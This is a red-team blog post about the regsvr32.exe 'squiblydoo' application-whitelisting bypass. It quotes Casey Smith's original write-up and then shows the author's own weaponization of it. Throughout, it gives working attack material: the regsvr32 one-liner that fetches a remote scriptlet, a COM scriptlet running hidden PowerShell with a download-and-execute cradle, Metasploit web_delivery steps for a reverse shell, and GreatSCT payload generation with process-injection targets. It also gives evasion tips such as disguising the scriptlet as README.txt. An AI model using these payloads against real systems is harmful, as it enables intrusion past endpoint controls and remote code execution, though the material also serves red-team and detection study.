Application Whitelisting Bypass: regsvr32.exe


Casey Smith (@subTee) discovered a native Microsoft binary called “regsvr32.exe” aka “squiblydoo”. He wrote a blog on Tuesday, April 19, 2016 titled “Bypass Application Whitelisting Script Protections – Regsvr32.exe & COM Scriptlets (.sct files)”. The blog post in quoted below. His blog is no longer available, however, you can access it via here.

So, I have been working this out the last few days. I was trying solve a particular problem.

I needed a reverse shell on workstation locked down by AppLocker executable and script rules enforced.

 tl;dr "regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll"

I have been researching fileless persistence mechanisms.  And it led me to a dark place.  I would wish on no mortal.  COM+.

I posted earlier about .sct files. This link describes what they are. In short they are XML documents, that allow you to register COM objects that are backed not by a .dll but scripts. 

Inside COM+

However, I wasn't really happy with what I had found since it required Admin rights in order to execute.  I could register the script to bypass AppLocker, but I still had to instantiate the object to trigger the code execution.

Then, I decided to place the script block inside of the Registration tag. Bam! Now all I had to do was call the regsvr32 and the code would execute. Still... That whole admin problem...

After pouring over hellish COM+ forums from 1999, I found a reference that stated that the code in the registration element executes on register and unregister. 

I logged in as a normal user and right clicked the .sct file and chose "unregister" and... It worked. 

That was it. 

The amazing thing here is that regsvr32 is already proxy aware, uses TLS, follows redirects, etc...And.. You guessed a signed, default MS binary.  Whohoo.

So, all you need to do is host your .sct file at a location you control. From the target, simply execute

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Its not well documented that regsvr32.exe can accept a url for a script.

In order to trigger this bypass, place the code block, either VB or JS inside the <registration> element. 

Hopefully this makes sense.

In order to further prove this out, I wrote a PowerShell server to handle execution and return output.

I hope this is helpful and that it makes sense.

There is ALOT more to explore here, so please, send me feedback if you find this helpful.
- You can also call a local file too.  If you really wanted to...
- This does not ACTUALLY register the COM object.  So nothing is in the registry... BONUS

Proof Of Concept Here

So, there you have it!

And yes. this bypass fits in a Tweet.  :-)

Proof of Concept

Casey released a proof of concept and it can still be downloaded here.


I’m going detail my adventures into implementing “regsvr32.exe” aka “squiblydoo” into a tool I’ve been developing called “GreatSCT” (Great Scott), an application whitelisting bypass framework I’ve been writing. I primarily want to focus on my failures instead of successes. We learn more when we fail versus when we succeed. I believe we need to talk about failure way more on the red team in information security so that’s what I’m going to do.

To provide a little background information, I started writing GreatSCT back in February and working on implementing “regsvr32.exe”.  Prior to my current employer, I was not familiar with application whitelisting bypass research. I had no idea what I was doing and had a really hard time understanding how “regsvr32.exe” actually worked from a red team perspective. I could utilize the payloads, however, I didn’t understand what was happening underneath. I personally don’t like using any technique, tactic, or procedure I don’t understand. A month later, Casey Smith started working on the same red team as myself. That’s a bit serendipitous if you ask me. I like to call these moments a synchronicity.

Anyway, one day I was working on GreatSCT and likely screaming obscenities in the office complaining about how my payload won’t work. Casey, one of the nicest people I have ever met, offered to help me. He took a look at my code as well as payload and realized I had a fundamental misunderstanding about how “regsvr32.exe” works. We headed into the conference room and Casey started to draw on the whiteboard while explaining how “regsvr32.exe” works. He got done and said, “Does that make sense?”. My response was, “No, sorry, that doesn’t make sense.”. Casey replied, “No that’s okay, let me try explaining it a different way.”. Casey started to draw on the whiteboard while explaining again, and everything clicked for me. I really wish I would have taken pictures of these diagrams he made, but unfortunately I didn’t. Instead, here’s a fantastic slide from @HuntressLabs.

What’s happening here? To put it simply, “regsvr32.exe” is utilizing the “scrobj.dll” to unregister a COM object defined in “file.sct”. Let’s dig into each one of these command line switches for “regsv32.exe” and determine each switch’s purpose. Let’s look at the msdn documentation here.

I can’t tell you how many times I tried to use options that didn’t work together. Thanks for all your patience, Casey.



We’re going to use the “regsvr32.exe” proof of concept Casey released and modify it. The original code is shown below.

<?XML version="1.0"?>
      classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
      <!-- Proof Of Concept - Casey Smith @subTee -->
      <!--  License: BSD3-Clause -->
     <script language="JScript">
       <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]>

Looks like we can run any program we want. Let’s modify the proof of concept to use “powershell.exe” instead of “calc.exe”. First, let’s start metasploit and setup our attack.

  • msfconsole
    • use exploit/multi/script/web_delivery
    • set LHOST <ip address>
    • set LPORT <port>
    • set target 2
    • exploit -j

Let’s copy and paste the command highlighted in red above into Casey’s proof of concept.

<?XML version="1.0"?>
      classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > 
     <!-- Proof Of Concept - Casey Smith @subTee --> 
     <!--  License: BSD3-Clause --> 
      <script language="JScript"> 
        <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $y=new-object net.webclient;$y.proxy=[Net.WebRequest]::GetSystemWebProxy();$y.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $y.downloadstring('');"); ]]>

Changes are highlighted in bold above. Time to execute the payload on our target system. I copied the payload over to my blog. Let’s execute it with the following command: “regsvr32.exe /s /n /u /i:”” scrobj.dll”. Let’s tail our access log with “tail -f /path/to/access.log” to see when “regsvr32.exe” downloads “poc.sct”.

Okay cool, “regsvr32.exe” grabbed “poc.sct” from my blog.

Let’s see what’s happening on our Windows 10 Enterprise VM.

It’s clearly executing powershell as expected. Let’s check Metasploit for our shell.

Hooray, it all worked. Time for our happy dance!


We’re going to use GreatSCT to generate a “regsvr32.exe” payload. It’s important to note that this payload will only work if Excel is installed on the target system

  • git clone
  • cd GreatSCT
  • python3 ./

Press any key to begin.

Select option number “seven” (7) and press enter.

Configure any options as desired with “set”, i.e. “set 2 80” or “set ListenerPort 80”. For clarity, the “Processx86” and “Processx64” is the process you want to inject into. I recommend “userinit.exe” for x86 and “msinfo32.exe” for x64. Type “generate” and press enter.

Copy the payload to a web server and execute it with “regsvr32.exe /s /u /n /i:”” scrobj.dll”. Wait for your shell.

Cheers, do another happy dance!

Lessons Learned

  • “regsvr32.exe” does not require the “.sct” extension
    • i.e. You can name your COM scriptlet something common like “README.txt”.
  • Read security researcher’s blog posts.
  • Watch their conference talks.
  • Do not neglect MSDN when dealing with Microsoft binaries.
  • Try harder!


Leave a comment

Your email address will not be published. Required fields are marked *